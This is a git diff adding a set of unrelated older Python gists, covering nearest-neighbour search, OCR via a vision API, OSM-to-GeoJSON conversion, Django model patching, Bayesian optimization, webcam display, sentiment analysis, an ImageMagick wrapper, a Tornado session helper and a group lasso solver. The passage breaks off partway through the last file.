@@ -0,0 +1,65 @@
+# -*- coding: utf-8 -*-
+"""
+Improving approximate nearest neighbour search with k-nearest neigbors.
+Using sklearn-KDTree here just for demonstration. You can plugin much faster
+nearest neigbour search implementations (flann, annoy to name a few) for 
+better results. For benchmarks, check out:
+1) Radim Řehůřek (author of gensim) -
+    http://rare-technologies.com/performance-shootout-of-nearest-neighbours-intro
+2) Erik Bernhardsson (author of annoy) - 
+    https://github.com/erikbern/ann-benchmarks
+"""
+
+import time, random
+import numpy as np
+from gensim.models import word2vec
+from sklearn.neighbors import KDTree
+
+# Download text8 dataset from:
+# http://mattmahoney.net/dc/text8.zip
+# and unzip the file
+
+sentences = word2vec.Text8Corpus('text8')
+model = word2vec.Word2Vec(sentences, size=200, workers=8)
+model.init_sims(replace=True)    # normalize the vectors
+
+words = random.sample(model.vocab.keys(),100)
+
+class ANNSearch:
+    word2idx = {}
+    idx2word = {}
+    data = []
+
+    def __init__(self, model):
+        for counter, key in enumerate(model.vocab.keys()):
+            self.data.append(model[key])
+            self.word2idx[key] = counter
+            self.idx2word[counter] = key
+
+        # leaf_size is a hyperparameter
+        self.data = np.array(self.data)
+        self.tree = KDTree(self.data, leaf_size=100)
+        
+    def search_by_vector(self, v, k=10):
+        dists, inds = self.tree.query([v], k)
+        return zip(dists[0], [self.idx2word[idx] for idx in inds[0]])
+
+    def search(self, query, k=10):
+        vector = self.data[self.word2idx[query]]
+        return self.search_by_vector(vector, k)
+
+# Linear Search
+start = time.time()
+for word in words:
+    model.most_similar(word, topn=10)
+stop = time.time()
+print("time/query by (gensim's) Linear Search = %.2f ms" % (1000*float(stop-start)/len(words)))
+
+# KDTree Search
+search_model = ANNSearch(model)
+
+start = time.time()
+for word in words:
+    search_model.search(word, k=10)
+stop = time.time()
+print("time/query by KDTree Search = %.2f ms" % (1000*float(stop-start)/len(words)))
\ No newline at end of file
diff --git a/hard-gists/13f02f45a41ad90f454f/._snippet.py b/hard-gists/13f02f45a41ad90f454f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/13f02f45a41ad90f454f/._snippet.py differ
diff --git a/hard-gists/13f02f45a41ad90f454f/snippet.py b/hard-gists/13f02f45a41ad90f454f/snippet.py
new file mode 100644
index 00000000..6dfb3033
--- /dev/null
+++ b/hard-gists/13f02f45a41ad90f454f/snippet.py
@@ -0,0 +1,96 @@
+# coding: utf-8
+
+import requests
+import photos
+from PIL import Image, ImageEnhance
+import StringIO
+import appex
+import console
+import json
+import keychain
+
+api_key = keychain.get_password('Project Oxford', 'Computer Vision API')
+
+if api_key == None:
+	import clipboard
+	api_key = console.input_alert('Insert your API key', '', str(clipboard.get()))
+	if api_key == None:
+		raise Exception('You need an API key.')
+	else:
+		keychain.set_password('Project Oxford', 'Computer Vision API', api_key)
+
+if appex.is_running_extension():
+	image = appex.get_image()
+else:
+	image = photos.capture_image()
+	
+if image == None:
+	image = photos.pick_image(original=True)
+	if image == None:
+		raise Exception('You must select one image')
+
+enhancerColor = ImageEnhance.Color(image)
+image = enhancerColor.enhance(0.0)
+
+output = StringIO.StringIO()
+image.save(output, format="PNG")
+data = output.getvalue()
+
+# If image size in bytes is larger than +- 4mb
+if len(data) > 4000000:
+	
+	sizes = image.size
+	image = image.resize((sizes[0] / 2, sizes[1] / 2))
+	output = StringIO.StringIO()
+	image.save(output, format='PNG')
+	data = output.getvalue()
+
+lang = "unk"
+url = "https://api.projectoxford.ai/vision/v1/ocr"
+
+params = {
+	"language": lang,
+	"detectOrientation": "true"
+}
+
+headers = {
+	"Content-Type": "application/octet-stream",
+	"Ocp-Apim-Subscription-Key": api_key
+}
+
+image.show()
+console.show_activity()
+print 'Starting request to Project Oxford...'
+
+r = requests.post(url, data=data, headers=headers, params=params)
+
+console.hide_activity()
+
+if r.status_code == 200:
+	print 'Request to Project Oxford was successful, building string...'
+	
+	def words(w):
+		return w["text"]
+	
+	res = json.loads(r.text)
+	
+	if len(res["regions"]) <= 0:
+		raise Exception('No text found in the image')
+
+	txt = "\n".join([[" ".join(map(words, w["words"])) for w in line] for line in [region["lines"] for region in res["regions"]]][0]).encode("utf-8")
+	console.hide_output()
+	
+	if appex.is_running_extension():
+		import clipboard
+		import console
+		clipboard.set(txt)
+		console.hud_alert("OCR'd text added to your clipboard")
+	else:
+		import webbrowser
+		from urllib import quote
+		url = "interact://x-callback-url/scratchpad?text=" + quote(txt)
+		webbrowser.open(url)
+elif r.status_code == 401 and console.alert('Bad Subscription Key', 'You got a bad subscription key in the iCloud Keychain, do you wanna change it?', 'Change it') == 1:
+	keychain.set_password('Project Oxford', 'Computer Vision API', console.input_alert('Insert your API key', '', api_key))	
+else:
+	raise Exception('Request returned status code ' + str(r.status_code) + ' and text "' + json.loads(r.text)['message'] + '"')
\ No newline at end of file
diff --git a/hard-gists/1401195/._snippet.py b/hard-gists/1401195/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1401195/._snippet.py differ
diff --git a/hard-gists/1401195/snippet.py b/hard-gists/1401195/snippet.py
new file mode 100644
index 00000000..9d630480
--- /dev/null
+++ b/hard-gists/1401195/snippet.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+'''
+Simple script to create geojson from osm files.
+Prints geojson features line by line.
+Currently we don't support relations.
+Requires (unmodified) imposm and imposm.parser
+Inspired by https://github.com/emka/OSMCouch
+'''
+
+from multiprocessing import JoinableQueue
+from imposm.parser import OSMParser
+from imposm.reader import CacheWriterProcess
+from imposm.cache import OSMCache
+
+import sys
+import io
+import json
+
+
+def generateCache(filename = 'berlin.osm.pbf'):
+    cache = OSMCache('.')
+    coords_queue = JoinableQueue(512)
+    coords_writer = CacheWriterProcess(coords_queue, cache.coords_cache, None, marshaled_data=True)
+    coords_writer.start()
+
+    parser = OSMParser(coords_callback=coords_queue.put)
+
+    parser.parse(filename)
+
+    coords_queue.put(None)
+    coords_writer.join()
+    return cache
+
+class Handler(object):
+
+    def __init__(self, cache, output):
+        self.coordsCache = cache.coords_cache(mode='r')
+        self.outputFile = io.open(output, mode='w')
+
+    def nodeToGEOJson(self, node):
+        id, tags, (lon, lat) = node
+        return unicode(json.dumps({ 'id': id, 'type': 'Feature', 'geometry': { 'type': 'Point', 'coordinates': [lon, lat] } , 'properties': tags }, ensure_ascii=False) + '\n')
+
+    def wayToGEOJson(self, way):
+        id, tags, nodes = way
+        coords = self.coordsCache.get_coords(nodes)
+        return unicode(json.dumps({ 'id': id, 'type': 'Feature', 'geometry': { 'type': 'LineString', 'coordinates': coords }, 'properties': tags }, ensure_ascii=False) + '\n')
+
+    def nodes_callback(self, nodes):
+        for node in nodes:
+            self.outputFile.write(self.nodeToGEOJson(node))
+            #self.file.write(self.nodeToGEOJson(node))
+
+    def ways_callback(self, ways):
+        for way in ways:
+            self.outputFile.write(self.wayToGEOJson(way))
+
+
+def main(filename, output):
+    #cache = generateCache(filename)
+    cache = OSMCache('.')
+    coords_queue = JoinableQueue(512)
+    coords_writer = CacheWriterProcess(coords_queue, cache.coords_cache, None, marshaled_data=True)
+    coords_writer.start()
+
+    handler = Handler(cache, output)
+    parser = OSMParser(coords_callback=coords_queue.put,
+            nodes_callback=handler.nodes_callback,
+            ways_callback=handler.ways_callback
+            )
+    parser.parse(filename)
+
+    coords_queue.put(None)
+    coords_writer.join()
+
+
+if __name__ == '__main__':
+    filename = sys.argv[1]
+    if len(sys.argv) is 3:
+        output = sys.argv[2]
+    else:
+        output = '/dev/stdout'
+    main(filename, output)
\ No newline at end of file
diff --git a/hard-gists/1402045/._snippet.py b/hard-gists/1402045/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1402045/._snippet.py differ
diff --git a/hard-gists/1402045/snippet.py b/hard-gists/1402045/snippet.py
new file mode 100644
index 00000000..7e1c99c3
--- /dev/null
+++ b/hard-gists/1402045/snippet.py
@@ -0,0 +1,77 @@
+from django.db.models.fields import Field
+import types
+ 
+def patch_model(model_to_patch, class_to_patch_with):
+    """ 
+    Adapted from http://www.ravelsoft.com/blog/2010/patchmodel-hacky-solution-extending-authuser-class
+    
+    Monkey patch a django model with additional or replacement fields and methods.
+    
+        All fields and methods that didn't exist previously are added. 
+        Existing methods with the same name are replaced with 
+        <methodname>__overridden. Existing fields with the same name
+        are deleted and replaced with the new field.
+        
+        The class used to patch the model must be an old-style class.
+        
+        Example:
+        
+        from django.contrib.auth.models import User
+        from compatriot.utils import patch_model
+        
+        class UserOverride:
+            email = models.EmailField(_('e-mail address'), unique=True)
+            new_field = models.CharField(_('new field'), max_length=10)
+
+            def save(self, *args, **kwargs):
+                # Custom save
+                
+                # Call original save() method
+                self.save__overridden(*args, **kwargs)
+                
+                # More custom save
+                
+        patch_model(User, UserOverride)
+
+    @param model_to_patch: Class to patch
+    @param class_to_patch_with: Class with definitions of new fields and methods.
+    """
+ 
+    # The _meta attribute is where the definition of the fields is stored in 
+    # django model classes.
+    patched_meta = getattr(model_to_patch, '_meta')
+ 
+    for name, obj in class_to_patch_with.__dict__.items():
+ 
+        # If the attribute is a field, delete it if it already exists.
+        if isinstance(obj, Field):
+            index = -1
+            for field_table in (patched_meta.local_fields, 
+                                patched_meta.local_many_to_many):
+                for i in xrange (0, len(field_table)):
+                    field = field_table[i]
+                    if field.name == name:
+                        index = i
+ 
+                        # The creation_counter is used by django to know in 
+                        # which order the database columns are declared. We 
+                        # get it to ensure that when we override a field it
+                        # will be declared in the same position as before.
+                        creation_counter = field_table[i].creation_counter
+                        break
+ 
+                if index != -1:
+                    field_table.pop(index)
+                    obj.creation_counter = creation_counter
+                    break
+ 
+        # Add "__overridden" to method names if they already exist.
+        elif isinstance(obj, types.FunctionType) or isinstance(obj, property):
+            if getattr(model_to_patch, name, None):
+                setattr(model_to_patch, name + '__overridden', getattr(model_to_patch, name))
+ 
+            if isinstance(obj, types.FunctionType):
+                obj = types.UnboundMethodType(obj, None, model_to_patch)
+ 
+        # Add the new field/method name and object to the model.
+        model_to_patch.add_to_class(name, obj)
\ No newline at end of file
diff --git a/hard-gists/1402892/._snippet.py b/hard-gists/1402892/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1402892/._snippet.py differ
diff --git a/hard-gists/1402892/snippet.py b/hard-gists/1402892/snippet.py
new file mode 100644
index 00000000..84275b79
--- /dev/null
+++ b/hard-gists/1402892/snippet.py
@@ -0,0 +1,76 @@
+# coding: utf-8
+
+# An attempt at implementing Bayesian optimization according to
+# Brochu, Cora, and de Freitas' tutorial
+# http://haikufactory.com/files/bayopt.pdf
+
+from sklearn import gaussian_process
+import numpy as np
+import scipy.optimize, scipy.stats as st
+
+def ucb_acq(sigma):
+    """The upper-confidence-bound acquisition function with parameter sigma.
+    
+    To avoid over-exploration all the way off to infinity (where the
+    variance is huge) I truncate the confidence term.
+    """
+    def acq(gp, best_y):
+        def ev(x):
+            y, ms = gp.predict([x], eval_MSE=True)
+            return -(y[0] + sigma*max(np.abs(y[0]), np.sqrt(ms[0])))
+        return ev
+    return acq
+
+
+def expected_improvement(gp, best_y):
+    """The expected improvement acquisition function.
+
+    The equation is explained in Eq (3) of the tutorial"""
+    def ev(x):
+        y, ms = gp.predict([x], eval_MSE=True)
+        Z = (y[0] - best_y)/np.sqrt(ms[0])
+        return -((y[0]-best_y)*st.norm.cdf(Z) + np.sqrt(ms[0])*st.norm.pdf(Z))
+    return ev
+
+def bayesopt(f, initial_x, acquisition, niter=100, debug=False):
+    """The actual bayesian optimization function. 
+
+    f is the very expensive function we want to optimize. 
+
+    initial_x is a matrix of at least two data points (preferrably
+    more, randomly sampled). 
+
+    acquisition is the acquisiton function we want to use to find
+    query points. 
+
+    Note that doing simulated annealing as done here is a very bad
+    idea, as we should be very careful about the domain."""
+    X = initial_x
+    y = [f(x) for x in initial_x]
+    best_x = initial_x[np.argmax(y)]
+    best_f = y[np.argmax(y)]
+    print y
+    gp = gaussian_process.GaussianProcess()
+    for i in xrange(niter):
+        gp.fit(np.array(X), np.array(y))
+        new_x = scipy.optimize.anneal(acquisition(gp, best_f), best_x)[0]
+        new_f = f(new_x)
+        X.append(new_x)
+        y.append(new_f)
+        if new_f > best_f:
+            best_f = new_f
+            best_x = new_x
+        if debug:
+            print "iter", i, "best_x", best_x, best_f
+    return best_x, best_f
+
+if __name__ == '__main__':
+    print "Running a completely silly example."
+    def func(x):
+        x = x[0] - 2.0
+        return 20.0 - min(100.0, (x*x + np.abs(x)*np.sin(x)))
+    print "With UCB:"
+    X = [[-5.0, -1.0], [-12.0, 10.0]]
+    bayesopt(func, X[:], ucb_acq(0.1), niter=10, debug=True)
+    print "With EI:"
+    bayesopt(func, X[:], expected_improvement, niter=10, debug=True)
diff --git a/hard-gists/1410088/._snippet.py b/hard-gists/1410088/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1410088/._snippet.py differ
diff --git a/hard-gists/1410088/snippet.py b/hard-gists/1410088/snippet.py
new file mode 100644
index 00000000..e1c0a36f
--- /dev/null
+++ b/hard-gists/1410088/snippet.py
@@ -0,0 +1,30 @@
+import opencv
+#this is important for capturing/displaying images
+from opencv import highgui 
+import pygame
+import sys
+
+camera = highgui.cvCreateCameraCapture(0)
+def get_image():
+    im = highgui.cvQueryFrame(camera)
+    # Add the line below if you need it (Ubuntu 8.04+)
+    im = opencv.cvGetMat(im)
+    #convert Ipl image to PIL image
+    return opencv.adaptors.Ipl2PIL(im) 
+
+fps = 30.0
+pygame.init()
+window = pygame.display.set_mode((640,480))
+pygame.display.set_caption("Demo")
+screen = pygame.display.get_surface()
+
+while True:
+    events = pygame.event.get()
+    for event in events:
+        if event.type == pygame.QUIT or event.type == pygame.KEYDOWN:
+            sys.exit(0)
+    im = get_image()
+    pg_img = pygame.image.frombuffer(im.tostring(), im.size, im.mode)
+    screen.blit(pg_img, (0,0))
+    pygame.display.flip()
+    pygame.time.delay(int(1000 * 1.0/fps))
diff --git a/hard-gists/1410094/._snippet.py b/hard-gists/1410094/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1410094/._snippet.py differ
diff --git a/hard-gists/1410094/snippet.py b/hard-gists/1410094/snippet.py
new file mode 100644
index 00000000..bd7480ff
--- /dev/null
+++ b/hard-gists/1410094/snippet.py
@@ -0,0 +1,76 @@
+# Code inspired and developed from: 
+# http://streamhacker.com/2010/05/10/text-classification-sentiment-analysis-naive-bayes-classifier/
+
+from __future__ import division
+import nltk.classify, nltk.corpus, nltk.classify.util
+from pylab import *
+
+filebase = '/home/fn'
+
+
+# AFINN-111 is the distributed version
+filename_afinn = filebase + '/data/AFINN/AFINN-111.txt'
+afinn = dict(map(lambda (w, s): (unicode(w, 'utf-8'), int(s)), [ 
+            ws.strip().split('\t') for ws in open(filename_afinn) ]))
+
+# Development version of AFINN
+filename_afinn_dev = filebase + '/fnielsen/data/Nielsen2009Responsible_emotion.csv'
+afinn_dev = dict(map(lambda (w, s): (unicode(w, 'utf-8'), int(s)), [ 
+            ws.strip().split('\t') for ws in open(filename_afinn_dev) ]))
+
+
+def features(wordlist):
+    return dict([ (word, True) for word in wordlist ])
+
+# Load data set
+moviedataset = []
+for group in ['neg', 'pos']:
+    fids = nltk.corpus.movie_reviews.fileids(group)
+    for fid in fids:
+        item = (features(nltk.corpus.movie_reviews.words(fileids=[fid])), group)  
+        moviedataset.append(item)
+
+
+# Train classifier
+classifier = nltk.classify.NaiveBayesClassifier.train(moviedataset)
+classifier.show_most_informative_features(10)
+accuracy = nltk.classify.util.accuracy(classifier, moviedataset)
+print("Training set accuracy: %.3f" % (accuracy,))
+
+
+x = []   # AFINN values
+y = []   # Movie review classifier probability
+wordlist = afinn.keys()
+for word in wordlist:
+    x.append( afinn[word] ) 
+    y.append( classifier.prob_classify({word: True}).prob('pos') )
+
+
+# Rank correlation
+r,p = scipy.stats.spearmanr(x,y)
+# Linear regression
+(a,b),c,d,e = scipy.linalg.lstsq(np.bmat([np.mat(x).T, np.ones((len(x),1))]), np.mat(y).T)
+
+# Scatter plot of AFINN/movie review training
+plot(x, y, '.')
+xlabel('AFINN valence')
+ylabel('Movie review classifier probability')
+hold(True)
+plot([-5, 5], [-5*a+b, +5*a+b], linewidth=4)
+text(3, 0.05, "$r_s = %.2f$" % r, fontsize=20)
+title('Scatter plot of word valances')
+show()
+# savefig('scatter.png')
+
+# "Misaligned" words
+diff = np.abs(np.asarray(x)/10+0.5-y)
+results = sorted(zip(diff, wordlist, x, y), reverse=True)[:150]
+for result in results:
+    print("<tr><td> %.2f <td> %15s <td> %3d <td> %.2f" % result)
+
+
+print("Most missing words in AFINN")
+mif = map(lambda (w,c): w, classifier.most_informative_features(n=25))
+for word in mif:
+    if not afinn_dev.has_key(word):
+        print(word)
diff --git a/hard-gists/1411980/._snippet.py b/hard-gists/1411980/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1411980/._snippet.py differ
diff --git a/hard-gists/1411980/snippet.py b/hard-gists/1411980/snippet.py
new file mode 100644
index 00000000..b1bd8e87
--- /dev/null
+++ b/hard-gists/1411980/snippet.py
@@ -0,0 +1,164 @@
+from __future__ import division
+
+import os
+import subprocess
+
+try:
+    from cStringIO import StringIO
+except ImportError:
+    from StringIO import StringIO
+
+try:
+    from PIL import Image
+except ImportError:
+    import Image
+
+class ImageMagickConversion(object):
+
+    GRAVITY_CHOICES = ('northwest', 'north', 'northeast', 'west', 'center',
+        'east', 'southwest', 'south', 'southeast')
+
+    def __init__(self, image=None, image_path=None, output_format=None,
+            image_magick_path='/usr/bin/', debug=False):
+        if image is None and image_path is None:
+            raise ValueError('Either an image or image path is required.')
+
+        self.args = []
+        self.out_format = None
+
+        self.image = image
+        self.image_path = image_path
+        self.output_format = output_format
+        self.image_magick_path = image_magick_path
+        self.debug = debug
+
+    def _cache_image_properties(self):
+        try:
+            pil_image = Image.open(self.image or self.image_path)
+        except IOError:
+            raise ValueError("Invalid image")
+        self._width, self._height = pil_image.size
+        self._format = pil_image.format
+        if self.image:
+            # reset the image to so it can be read again if needed
+            self.image.reset()
+
+    @property
+    def width(self):
+        if not hasattr(self, '_width'):
+            self._cache_image_properties()
+        return self._width
+
+    @property
+    def height(self):
+        if not hasattr(self, '_height'):
+            self._cache_image_properties()
+        return self._height
+
+    @property
+    def format(self):
+        if not hasattr(self, '_format'):
+            self._cache_image_properties()
+        return self._format
+
+    def gravity(self, position):
+        if position.lower() not in ImageMagickConversion.GRAVITY_CHOICES:
+            raise ValueError("Invalid value for position.")
+        self.args.extend(['-gravity', position])
+        return self
+
+    def crop(self, width, height, left=0, top=0):
+        self.args.extend(['-crop', '%dx%d+%d+%d' % (width, height, left, top)])
+        return self
+
+    def resize(self, width, height, preserve_aspect_ratio=True,
+            can_enlarge=False, outer=True):
+        if preserve_aspect_ratio:
+            if outer: # image can be bigger than resize box
+                ratio = max(width / self.width, height / self.height)
+            else: # image must fit within resize box
+                ratio = min(width / self.width, height / self.height)
+            if ratio >= 1 and not can_enlarge:
+                return self
+            width = int(round(self.width * ratio))
+            height = int(round(self.height * ratio))
+        self.args.extend(['-resize', '%dx%d' % (width, height)])
+        return self
+
+    def quality(self, quality):
+        self.args.extend(['-quality', unicode(quality)])
+        return self
+
+    def _process_image(self, command, pre_input_args, post_input_args,
+            input_image_path=None, input_image=None, output_image_path=None):
+
+        # support pipe or filesystem i/o
+        proc_kwargs = {}
+        if input_image_path:
+            input_arg = input_image_path
+        else:
+            input_arg = '-'
+            proc_kwargs['stdin'] = subprocess.PIPE
+        if output_image_path:
+            output_arg = output_image_path
+        else:
+            output_arg = '-'
+            proc_kwargs['stdout'] = subprocess.PIPE
+
+        proc_args = [os.path.join(self.image_magick_path, command)]
+        proc_args.extend(pre_input_args)
+        proc_args.append(input_arg)
+        proc_args.extend(post_input_args)
+        if self.output_format:
+            proc_args.append('%s:%s' % (self.output_format, output_arg))
+        else:
+            proc_args.append(output_arg)
+        if self.debug:
+            print 'ImageMagick: %s' % ' '.join(proc_args)
+        proc = subprocess.Popen(proc_args, **proc_kwargs)
+
+        if input_image:
+            proc_input = input_image.read()
+            input_image.reset()
+        else:
+            proc_input = None
+        stdoutdata, stderrdata = proc.communicate(input=proc_input)
+
+        if stdoutdata:
+            new_image = StringIO()
+            new_image.write(stdoutdata)
+            return new_image
+        else:
+            return output_image_path
+
+    def convert(self, output_image_path=None):
+        args = ['-auto-orient']
+        args.extend(self.args)
+
+        return self._process_image('convert', [], args,
+            input_image_path=self.image_path,
+            input_image=self.image,
+            output_image_path=output_image_path
+        )
+
+    def watermark(self, watermark_path, opacity=40, position='southeast',
+            output_image_path=None):
+
+        if position.lower() not in ImageMagickConversion.GRAVITY_CHOICES:
+            raise ValueError("Invalid value for position.")
+
+        if output_image_path:
+            convert_image_path = self.convert(
+                output_image_path=output_image_path)
+            convert_image = None
+        else:
+            convert_image_path = None
+            convert_image = self.convert()
+
+        args = (['-dissolve', unicode(opacity), '-gravity', position,
+            watermark_path])
+        return self._process_image('composite', args, [],
+            input_image_path=convert_image_path,
+            input_image=convert_image,
+            output_image_path=output_image_path
+        )
diff --git a/hard-gists/1417f55cb896a44e68a6/._snippet.py b/hard-gists/1417f55cb896a44e68a6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1417f55cb896a44e68a6/._snippet.py differ
diff --git a/hard-gists/1417f55cb896a44e68a6/snippet.py b/hard-gists/1417f55cb896a44e68a6/snippet.py
new file mode 100644
index 00000000..49a43465
--- /dev/null
+++ b/hard-gists/1417f55cb896a44e68a6/snippet.py
@@ -0,0 +1,53 @@
+# -*- coding: utf8 -*-
+
+from kivy.app import App
+from kivy.uix.floatlayout import FloatLayout
+from kivy.graphics import Line
+from kivy.uix.label import Label
+from kivy.core.window import Window
+from kivy.clock import Clock
+
+import serial
+
+# Basic class Float Layout
+class Test1(FloatLayout):
+
+    def __init__(self, **kwargs):
+        super(Test1, self).__init__(**kwargs)
+
+        # Set the timer for redrawing the screen
+        refresh_time = 0.5
+        Clock.schedule_interval(self.timer, refresh_time)
+
+        with self.canvas:
+             self.centered_circle = Line(circle = (self.center_x, self.center_y, 50), width = 2)
+
+    def timer(self, dt):
+        # Get data from serial port
+        value = arduino.readline()
+
+        # Draw the circle according to the data
+        self.centered_circle.circle = (self.center_x, self.center_y,value)
+
+        # More about drawing in Kivy here: http://kivy.org/docs/api-kivy.graphics.html
+
+
+# Main App class
+class SerialDataApp(App):
+    def build(self):
+        return Test1()
+
+# Main program
+if __name__ == '__main__':
+    # Connect to serial port first
+    try:
+        arduino = serial.Serial('/dev/tty.usbmodem1421', 9600)
+    except:
+        print "Failed to connect"
+        exit()
+
+    # Launch the app
+    SerialDataApp().run()
+
+    # Close serial communication
+    arduino.close()
diff --git a/hard-gists/1423116/._snippet.py b/hard-gists/1423116/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1423116/._snippet.py differ
diff --git a/hard-gists/1423116/snippet.py b/hard-gists/1423116/snippet.py
new file mode 100644
index 00000000..79ab359f
--- /dev/null
+++ b/hard-gists/1423116/snippet.py
@@ -0,0 +1,84 @@
+import os
+import sys
+import cPickle
+import time
+import hashlib
+import logging
+import uuid
+
+import cmemcached
+
+logger =logging.getLogger('tornado session')
+console = logging.StreamHandler()
+console.setLevel(logging.DEBUG)
+def LOG(s):
+    logger.info(s)
+
+class SessionData():
+    def __init__(self, id = None):
+        self._data = {}
+        self._id = id
+        self._is_updated = False
+        self._last_time = time.time()
+    def get(self,key):
+        ret = None
+        try:
+            ret = self._data[key]
+        except:
+            pass
+        self._last_time = time.time()
+        return ret
+        
+    def set(self, key, value):
+        self._data[key] = value
+        self._is_updated = True
+        self._last_time = time.time()
+    
+    def get_id(self):
+        return self._id
+    
+    def reset_update_status(self):
+        self._is_updated = False
+        
+    def is_updated(self):
+        return self._is_updated
+    
+class SessionManager():
+    def __init__(self, mc_server = ['127.0.0.1:12111']):
+        self._mc_data_pool = cmemcached.Client(mc_server)
+    
+    def write_session_data(self, id, data):
+        self._mc_data_pool.set(id,cPickle.dumps(data), 30 * 60)
+
+    def read_session_data(self, id):
+        obj = self._mc_data_pool.get(id)
+        if obj is None:
+            return SessionData(id)
+        else:
+            return cPickle.loads(obj)
+
+def session(function):
+    def _session(*args, **kwargs):
+        self = args[0]
+        if not self.get_secure_cookie("sessionid"):
+            LOG('no session')
+            newid = hashlib.md5(str(uuid.uuid1())).hexdigest()
+            sessionid = newid
+            self.set_secure_cookie("sessionid", sessionid)
+        else:
+            sessionid = self.get_secure_cookie("sessionid")
+        obj = session_manager.read_session_data(sessionid)
+        LOG('SESSIONID:' + sessionid)
+        self.session = obj
+        self.session.reset_update_status()
+        res = function(*args, **kwargs)
+        if self.session.is_updated():
+            LOG('session update' + ' ' + sessionid)
+            session_manager.write_session_data(sessionid, self.session)
+        else:
+            LOG('no session operation')
+            pass
+        return res
+    return _session
+
+session_manager = SessionManager()
\ No newline at end of file
diff --git a/hard-gists/1423373/._snippet.py b/hard-gists/1423373/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1423373/._snippet.py differ
diff --git a/hard-gists/1423373/snippet.py b/hard-gists/1423373/snippet.py
new file mode 100644
index 00000000..dd01a3be
--- /dev/null
+++ b/hard-gists/1423373/snippet.py
@@ -0,0 +1,155 @@
+import numpy as np
+from scipy import linalg, optimize
+
+MAX_ITER = 100
+
+
+def group_lasso(X, y, alpha, groups, max_iter=MAX_ITER, rtol=1e-6,
+             verbose=False):
+    """
+    Linear least-squares with l2/l1 regularization solver.
+
+    Solves problem of the form:
+
+               .5 * |Xb - y| + n_samples * alpha * Sum(w_j * |b_j|)
+
+    where |.| is the l2-norm and b_j is the coefficients of b in the
+    j-th group. This is commonly known as the `group lasso`.
+
+    Parameters
+    ----------
+    X : array of shape (n_samples, n_features)
+        Design Matrix.
+
+    y : array of shape (n_samples,)
+
+    alpha : float or array
+        Amount of penalization to use.
+
+    groups : array of shape (n_features,)
+        Group label. For each column, it indicates
+        its group apertenance.
+
+    rtol : float
+        Relative tolerance. ensures ||(x - x_) / x_|| < rtol,
+        where x_ is the approximate solution and x is the
+        true solution.
+
+    Returns
+    -------
+    x : array
+        vector of coefficients
+
+    References
+    ----------
+    "Efficient Block-coordinate Descent Algorithms for the Group Lasso",
+    Qin, Scheninberg, Goldfarb
+    """
+
+    # .. local variables ..
+    X, y, groups, alpha = map(np.asanyarray, (X, y, groups, alpha))
+    if len(groups) != X.shape[1]:
+        raise ValueError("Incorrect shape for groups")
+    w_new = np.zeros(X.shape[1], dtype=X.dtype)
+    alpha = alpha * X.shape[0]
+
+    # .. use integer indices for groups ..
+    group_labels = [np.where(groups == i)[0] for i in np.unique(groups)]
+    H_groups = [np.dot(X[:, g].T, X[:, g]) for g in group_labels]
+    eig = map(linalg.eigh, H_groups)
+    Xy = np.dot(X.T, y)
+    initial_guess = np.zeros(len(group_labels))
+
+    def f(x, qp2, eigvals, alpha):
+        return 1 - np.sum( qp2 / ((x * eigvals + alpha) ** 2))
+    def df(x, qp2, eigvals, penalty):
+        # .. first derivative ..
+        return np.sum((2 * qp2 * eigvals) / ((penalty + x * eigvals) ** 3))
+
+    if X.shape[0] > X.shape[1]:
+        H = np.dot(X.T, X)
+    else:
+        H = None
+
+    for n_iter in range(max_iter):
+        w_old = w_new.copy()
+        for i, g in enumerate(group_labels):
+            # .. shrinkage operator ..
+            eigvals, eigvects = eig[i]
+            w_i = w_new.copy()
+            w_i[g] = 0.
+            if H is not None:
+                X_residual = np.dot(H[g], w_i) - Xy[g]
+            else:
+                X_residual = np.dot(X.T, np.dot(X[:, g], w_i)) - Xy[g]
+            qp = np.dot(eigvects.T, X_residual)
+            if len(g) < 2:
+                # for single groups we know a closed form solution
+                w_new[g] = - np.sign(X_residual) * max(abs(X_residual) - alpha, 0)
+            else:
+                if alpha < linalg.norm(X_residual, 2):
+                    initial_guess[i] = optimize.newton(f, initial_guess[i], df, tol=.5,
+                                args=(qp ** 2, eigvals, alpha))
+                    w_new[g] = - initial_guess[i] * np.dot(eigvects /  (eigvals * initial_guess[i] + alpha), qp)
+                else:
+                    w_new[g] = 0.
+
+
+        # .. dual gap ..
+        max_inc = linalg.norm(w_old - w_new, np.inf)
+        if True: #max_inc < rtol * np.amax(w_new):
+            residual = np.dot(X, w_new) - y
+            group_norm = alpha * np.sum([linalg.norm(w_new[g], 2)
+                         for g in group_labels])
+            if H is not None:
+                norm_Anu = [linalg.norm(np.dot(H[g], w_new) - Xy[g]) \
+                           for g in group_labels]
+            else:
+                norm_Anu = [linalg.norm(np.dot(H[g], residual)) \
+                           for g in group_labels]
+            if np.any(norm_Anu > alpha):
+                nnu = residual * np.min(alpha / norm_Anu)
+            else:
+                nnu = residual
+            primal_obj =  .5 * np.dot(residual, residual) + group_norm
+            dual_obj   = -.5 * np.dot(nnu, nnu) - np.dot(nnu, y)
+            dual_gap = primal_obj - dual_obj
+            if verbose:
+                print 'Relative error: %s' % (dual_gap / dual_obj)
+            if np.abs(dual_gap / dual_obj) < rtol:
+                break
+
+    return w_new
+
+
+def check_kkt(A, b, x, penalty, groups):
+    """Check KKT conditions for the group lasso
+
+    Returns True if conditions are satisfied, False otherwise
+    """
+    group_labels = [groups == i for i in np.unique(groups)]
+    penalty = penalty * A.shape[0]
+    z = np.dot(A.T, np.dot(A, x) - b)
+    safety_net = 1e-1 # sort of tolerance
+    for g in group_labels:
+        if linalg.norm(x[g]) == 0:
+            if not linalg.norm(z[g]) < penalty + safety_net:
+                return False
+        else:
